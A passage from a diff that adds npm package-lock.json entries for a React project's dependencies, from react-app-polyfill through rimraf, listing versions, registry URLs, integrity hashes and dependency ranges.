"^4.4.2", + "lodash.isequal": "^4.5.0", + "prop-types": "^15.7.2" + }, + "peerDependencies": { + "react": "^0.13.0 || ^0.14.0 || ^15.0.1 || ^16.0.0 || ^17.0.0 || ^18.0.0", + "react-dom": "^0.13.0 || ^0.14.0 || ^15.0.1 || ^16.0.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/react-app-polyfill": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/react-app-polyfill/-/react-app-polyfill-3.0.0.tgz", + "integrity": "sha512-sZ41cxiU5llIB003yxxQBYrARBqe0repqPTTYBTmMqTz9szeBbE37BehCE891NZsmdZqqP+xWKdT3eo3vOzN8w==", + "dev": true, + "license": "MIT", + "dependencies": { + "core-js": "^3.19.2", + "object-assign": "^4.1.1", + "promise": "^8.1.0", + "raf": "^3.4.1", + "regenerator-runtime": "^0.13.9", + "whatwg-fetch": "^3.6.2" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/react-dev-utils": { + "version": "12.0.1", + "resolved": "https://registry.npmjs.org/react-dev-utils/-/react-dev-utils-12.0.1.tgz", + "integrity": "sha512-84Ivxmr17KjUupyqzFode6xKhjwuEJDROWKJy/BthkL7Wn6NJ8h4WE6k/exAv6ImS+0oZLRRW5j/aINMHyeGeQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.16.0", + "address": "^1.1.2", + "browserslist": "^4.18.1", + "chalk": "^4.1.2", + "cross-spawn": "^7.0.3", + "detect-port-alt": "^1.1.6", + "escape-string-regexp": "^4.0.0", + "filesize": "^8.0.6", + "find-up": "^5.0.0", + "fork-ts-checker-webpack-plugin": "^6.5.0", + "global-modules": "^2.0.0", + "globby": "^11.0.4", + "gzip-size": "^6.0.0", + "immer": "^9.0.7", + "is-root": "^2.1.0", + "loader-utils": "^3.2.0", + "open": "^8.4.0", + "pkg-up": "^3.1.0", + "prompts": "^2.4.2", + "react-error-overlay": "^6.0.11", + "recursive-readdir": "^2.2.2", + "shell-quote": "^1.7.3", + "strip-ansi": "^6.0.1", + "text-table": "^0.2.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/react-dev-utils/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/react-dev-utils/node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-dev-utils/node_modules/loader-utils": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-3.3.1.tgz", + "integrity": "sha512-FMJTLMXfCLMLfJxcX9PFqX5qD88Z5MRGaZCVzfuqeZSPsyiBzs+pahDQjbIWz2QIzPZz0NX9Zy4FX3lmK6YHIg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 12.13.0" + } + }, + "node_modules/react-dev-utils/node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-dev-utils/node_modules/p-limit": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-3.1.0.tgz", + "integrity": "sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "yocto-queue": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-dev-utils/node_modules/p-locate": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-5.0.0.tgz", + "integrity": "sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==", + "dev": true, + "license": "MIT", + "dependencies": { + "p-limit": "^3.0.2" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/react-dom": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.3.1.tgz", + "integrity": "sha512-5m4nQKp+rZRb09LNH59GM4BxTh9251/ylbKIbpe7TpGxfJ+9kv6BLkLBXIjjspbgbnIBNqlI23tRnTWT0snUIw==", + "license": "MIT", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.2" + }, + "peerDependencies": { + "react": "^18.3.1" + } + }, + "node_modules/react-error-overlay": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/react-error-overlay/-/react-error-overlay-6.1.0.tgz", + "integrity": "sha512-SN/U6Ytxf1QGkw/9ve5Y+NxBbZM6Ht95tuXNMKs8EJyFa/Vy/+Co3stop3KBHARfn/giv+Lj1uUnTfOJ3moFEQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", + "dev": true, + "license": "MIT" + }, + "node_modules/react-refresh": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.11.0.tgz", + "integrity": "sha512-F27qZr8uUqwhWZboondsPx8tnC3Ct3SxZA3V5WyEvujRyyNv0VYPhoBg1gZ8/MV5tubQp76Trw8lTv9hzRBa+A==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-router": { + "version": "6.30.3", + "resolved": "https://registry.npmjs.org/react-router/-/react-router-6.30.3.tgz", + "integrity": "sha512-XRnlbKMTmktBkjCLE8/XcZFlnHvr2Ltdr1eJX4idL55/9BbORzyZEaIkBFDhFGCEWBBItsVrDxwx3gnisMitdw==", + "license": "MIT", + "dependencies": { + "@remix-run/router": "1.23.2" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "react": ">=16.8" + } + }, + "node_modules/react-router-dom": { + "version": "6.30.3", + "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-6.30.3.tgz", + "integrity": "sha512-pxPcv1AczD4vso7G4Z3TKcvlxK7g7TNt3/FNGMhfqyntocvYKj+GCatfigGDjbLozC4baguJ0ReCigoDJXb0ag==", + "license": "MIT", + "dependencies": { + "@remix-run/router": "1.23.2", + "react-router": "6.30.3" + }, + "engines": { + "node": ">=14.0.0" + }, + "peerDependencies": { + "react": ">=16.8", + "react-dom": ">=16.8" + } + }, + "node_modules/react-scripts": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/react-scripts/-/react-scripts-5.0.1.tgz", + "integrity": "sha512-8VAmEm/ZAwQzJ+GOMLbBsTdDKOpuZh7RPs0UymvBR2vRk4iZWCskjbFnxqjrzoIvlNNRZ3QJFx6/qDSi6zSnaQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/core": "^7.16.0", + "@pmmmwh/react-refresh-webpack-plugin": "^0.5.3", + "@svgr/webpack": "^5.5.0", + "babel-jest": "^27.4.2", + "babel-loader": "^8.2.3", + "babel-plugin-named-asset-import": "^0.3.8", + "babel-preset-react-app": "^10.0.1", + "bfj": "^7.0.2", + "browserslist": "^4.18.1", + "camelcase": "^6.2.1", + "case-sensitive-paths-webpack-plugin": "^2.4.0", + "css-loader": "^6.5.1", + "css-minimizer-webpack-plugin": "^3.2.0", + "dotenv": "^10.0.0", + "dotenv-expand": "^5.1.0", + "eslint": "^8.3.0", + "eslint-config-react-app": "^7.0.1", + "eslint-webpack-plugin": "^3.1.1", + "file-loader": "^6.2.0", + "fs-extra": "^10.0.0", + "html-webpack-plugin": "^5.5.0", + "identity-obj-proxy": "^3.0.0", + "jest": "^27.4.3", + "jest-resolve": "^27.4.2", + "jest-watch-typeahead": "^1.0.0", + "mini-css-extract-plugin": "^2.4.5", + "postcss": "^8.4.4", + "postcss-flexbugs-fixes": "^5.0.2", + "postcss-loader": "^6.2.1", + "postcss-normalize": "^10.0.1", + "postcss-preset-env": "^7.0.1", + "prompts": "^2.4.2", + "react-app-polyfill": "^3.0.0", + "react-dev-utils": "^12.0.1", + "react-refresh": "^0.11.0", + "resolve": "^1.20.0", + "resolve-url-loader": "^4.0.0", + "sass-loader": "^12.3.0", + "semver": "^7.3.5", + "source-map-loader": "^3.0.0", + "style-loader": "^3.3.1", + "tailwindcss": "^3.0.2", + "terser-webpack-plugin": "^5.2.5", + "webpack": "^5.64.4", + "webpack-dev-server": "^4.6.0", + "webpack-manifest-plugin": "^4.0.2", + "workbox-webpack-plugin": "^6.4.1" + }, + "bin": { + "react-scripts": "bin/react-scripts.js" + }, + "engines": { + "node": ">=14.0.0" + }, + "optionalDependencies": { + "fsevents": "^2.3.2" + }, + "peerDependencies": { + "react": ">= 16", + "typescript": "^3.2.1 || ^4" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/react-scripts/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/react-smooth": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/react-smooth/-/react-smooth-4.0.4.tgz", + "integrity": "sha512-gnGKTpYwqL0Iii09gHobNolvX4Kiq4PKx6eWBCYYix+8cdw+cGo3do906l1NBPKkSWx1DghC1dlWG9L2uGd61Q==", + "license": "MIT", + "dependencies": { + "fast-equals": "^5.0.1", + "prop-types": "^15.8.1", + "react-transition-group": "^4.4.5" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/react-transition-group": { + "version": "4.4.5", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-4.4.5.tgz", + "integrity": "sha512-pZcd1MCJoiKiBR2NRxeCRg13uCXbydPnmB4EOeRrY7480qNWO8IIgQG6zlDkm6uRMsURXPuKq0GWtiM59a5Q6g==", + "license": "BSD-3-Clause", + "dependencies": { + "@babel/runtime": "^7.5.5", + "dom-helpers": "^5.0.1", + "loose-envify": "^1.4.0", + "prop-types": "^15.6.2" + }, + "peerDependencies": { + "react": ">=16.6.0", + "react-dom": ">=16.6.0" + } + }, + "node_modules/react-window": { + "version": "1.8.11", + "resolved": "https://registry.npmjs.org/react-window/-/react-window-1.8.11.tgz", + "integrity": "sha512-+SRbUVT2scadgFSWx+R1P754xHPEqvcfSfVX10QYg6POOz+WNgkN48pS+BtZNIMGiL1HYrSEiCkwsMS15QogEQ==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.0.0", + "memoize-one": ">=3.1.1 <6" + }, + "engines": { + "node": ">8.0.0" + }, + "peerDependencies": { + "react": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/react18-json-view": { + "version": "0.2.10", + "resolved": "https://registry.npmjs.org/react18-json-view/-/react18-json-view-0.2.10.tgz", + "integrity": "sha512-rYEbaCG/U4THY1qp1xY14/Kbnp9yY3W6Qm3Rmu+jlCIdxzMS5EcD+wI97kCKRoN3CuJyJU8hqkax5xWfl8A4EA==", + "license": "MIT", + "dependencies": { + "copy-to-clipboard": "^3.3.3" + }, + "peerDependencies": { + "react": ">=16.8.0" + } + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readable-stream": { + "version": "3.6.2", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz", + "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==", + "dev": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "license": "MIT", + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/readdirp/node_modules/picomatch": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.2.tgz", + "integrity": "sha512-V7+vQEJ06Z+c5tSye8S+nHUfI51xoXIXjHQ99cQtKUkQqqO1kO/KCJUfZXuB47h/YBlDhah2H3hdUGXn8ie0oA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.6" + }, + "funding": { + "url": "https://github.com/sponsors/jonschlinkert" + } + }, + "node_modules/recharts": { + "version": "2.15.4", + "resolved": "https://registry.npmjs.org/recharts/-/recharts-2.15.4.tgz", + "integrity": "sha512-UT/q6fwS3c1dHbXv2uFgYJ9BMFHu3fwnd7AYZaEQhXuYQ4hgsxLvsUXzGdKeZrW5xopzDCvuA2N41WJ88I7zIw==", + "license": "MIT", + "dependencies": { + "clsx": "^2.0.0", + "eventemitter3": "^4.0.1", + "lodash": "^4.17.21", + "react-is": "^18.3.1", + "react-smooth": "^4.0.4", + "recharts-scale": "^0.4.4", + "tiny-invariant": "^1.3.1", + "victory-vendor": "^36.6.8" + }, + "engines": { + "node": ">=14" + }, + "peerDependencies": { + "react": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "react-dom": "^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" + } + }, + "node_modules/recharts-scale": { + "version": "0.4.5", + "resolved": "https://registry.npmjs.org/recharts-scale/-/recharts-scale-0.4.5.tgz", + "integrity": "sha512-kivNFO+0OcUNu7jQquLXAxz1FIwZj8nrj+YkOKc5694NbjCvcT6aSZiIzNzd2Kul4o4rTto8QVR9lMNtxD4G1w==", + "license": "MIT", + "dependencies": { + "decimal.js-light": "^2.4.1" + } + }, + "node_modules/recharts/node_modules/react-is": { + "version": "18.3.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-18.3.1.tgz", + "integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==", + "license": "MIT" + }, + "node_modules/recursive-readdir": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/recursive-readdir/-/recursive-readdir-2.2.3.tgz", + "integrity": "sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "minimatch": "^3.0.5" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/redent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz", + "integrity": "sha512-6tDA8g98We0zd0GvVeMT9arEOnTw9qM03L9cJXaCjrip1OO764RDBLBfrB4cwzNGDj5OA5ioymC9GkizgWJDUg==", + "dev": true, + "license": "MIT", + "dependencies": { + "indent-string": "^4.0.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/reflect.getprototypeof": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/reflect.getprototypeof/-/reflect.getprototypeof-1.0.10.tgz", + "integrity": "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.9", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.0.0", + "get-intrinsic": "^1.2.7", + "get-proto": "^1.0.1", + "which-builtin-type": "^1.2.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regenerate": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz", + "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==", + "dev": true, + "license": "MIT" + }, + "node_modules/regenerate-unicode-properties": { + "version": "10.2.2", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.2.2.tgz", + "integrity": "sha512-m03P+zhBeQd1RGnYxrGyDAPpWX/epKirLrp8e3qevZdVkKtnCrjjWczIbYc8+xd6vcTStVlqfycTx1KR4LOr0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "regenerate": "^1.4.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==", + "dev": true, + "license": "MIT" + }, + "node_modules/regex-parser": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/regex-parser/-/regex-parser-2.3.1.tgz", + "integrity": "sha512-yXLRqatcCuKtVHsWrNg0JL3l1zGfdXeEvDa0bdu4tCDQw0RpMDZsqbkyRTUnKMR0tXF627V2oEWjBEaEdqTwtQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/regexp.prototype.flags": { + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.5.4.tgz", + "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-errors": "^1.3.0", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "set-function-name": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/regexpu-core": { + "version": "6.4.0", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-6.4.0.tgz", + "integrity": "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA==", + "dev": true, + "license": "MIT", + "dependencies": { + "regenerate": "^1.4.2", + "regenerate-unicode-properties": "^10.2.2", + "regjsgen": "^0.8.0", + "regjsparser": "^0.13.0", + "unicode-match-property-ecmascript": "^2.0.0", + "unicode-match-property-value-ecmascript": "^2.2.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/regjsgen": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.8.0.tgz", + "integrity": "sha512-RvwtGe3d7LvWiDQXeQw8p5asZUmfU1G/l6WbUXeHta7Y2PEIvBTwH6E2EfmYUK8pxcxEdEmaomqyp0vZZ7C+3Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/regjsparser": { + "version": "0.13.0", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.13.0.tgz", + "integrity": "sha512-NZQZdC5wOE/H3UT28fVGL+ikOZcEzfMGk/c3iN9UGxzWHMa1op7274oyiUVrAG4B2EuFhus8SvkaYnhvW92p9Q==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "jsesc": "~3.1.0" + }, + "bin": { + "regjsparser": "bin/parser" + } + }, + "node_modules/relateurl": { + "version": "0.2.7", + "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz", + "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/renderkid": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", + "dev": true, + "license": "MIT", + "dependencies": { + "css-select": "^4.1.3", + "dom-converter": "^0.2.0", + "htmlparser2": "^6.1.0", + "lodash": "^4.17.21", + "strip-ansi": "^6.0.1" + } + }, + "node_modules/require-directory": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", + "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/requires-port": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz", + "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/resize-observer-polyfill": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/resize-observer-polyfill/-/resize-observer-polyfill-1.5.1.tgz", + "integrity": "sha512-LwZrotdHOo12nQuZlHEmtuXdqGoOD0OhaxopaNFxWzInpEgaLWoVuAMbTzixuosCx2nEG58ngzW3vxdWoxIgdg==", + "license": "MIT" + }, + "node_modules/resolve": { + "version": "1.22.11", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.11.tgz", + "integrity": "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-core-module": "^2.16.1", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-cwd": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", + "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "resolve-from": "^5.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/resolve-url-loader": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-url-loader/-/resolve-url-loader-4.0.0.tgz", + "integrity": "sha512-05VEMczVREcbtT7Bz+C+96eUO5HDNvdthIiMB34t7FcF8ehcu4wC0sSgPUubs3XW2Q3CNLJk/BJrCU9wVRymiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "adjust-sourcemap-loader": "^4.0.0", + "convert-source-map": "^1.7.0", + "loader-utils": "^2.0.0", + "postcss": "^7.0.35", + "source-map": "0.6.1" + }, + "engines": { + "node": ">=8.9" + }, + "peerDependencies": { + "rework": "1.0.1", + "rework-visit": "1.0.0" + }, + "peerDependenciesMeta": { + "rework": { + "optional": true + }, + "rework-visit": { + "optional": true + } + } + }, + "node_modules/resolve-url-loader/node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==", + "dev": true, + "license": "MIT" + }, + "node_modules/resolve-url-loader/node_modules/picocolors": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz", + "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA==", + "dev": true, + "license": "ISC" + }, + "node_modules/resolve-url-loader/node_modules/postcss": { + "version": "7.0.39", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz", + "integrity": "sha512-yioayjNbHn6z1/Bywyb2Y4s3yvDAeXGOyxqD+LnVOinq6Mdmd++SW2wUNVzavyyHxd6+DxzWGIuosg6P1Rj8uA==", + "dev": true, + "license": "MIT", + "dependencies": { + "picocolors": "^0.2.1", + "source-map": "^0.6.1" + }, + "engines": { + "node": ">=6.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + } + }, + "node_modules/resolve-url-loader/node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/resolve.exports": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/resolve.exports/-/resolve.exports-1.1.1.tgz", + "integrity": "sha512-/NtpHNDN7jWhAaQ9BvBUYZ6YTXsRBgfqWFWP7BZBaoMJO/I3G5OFzvTuWNlZC3aPjins1F+TNrLKsGbH4rfsRQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/retry": { + "version": "0.13.1", + "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz", + "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/reusify": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.1.0.tgz", + "integrity": "sha512-g6QUff04oZpHs0eG5p83rFLhHeV00ug/Yf9nZM6fLeUrPguBTkTQOdpAWWspMh55TZfVQDPaN3NQJfbVRAxdIw==", + "dev": true, + "license": "MIT", + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rimraf": { + "version": "3.0.2", + 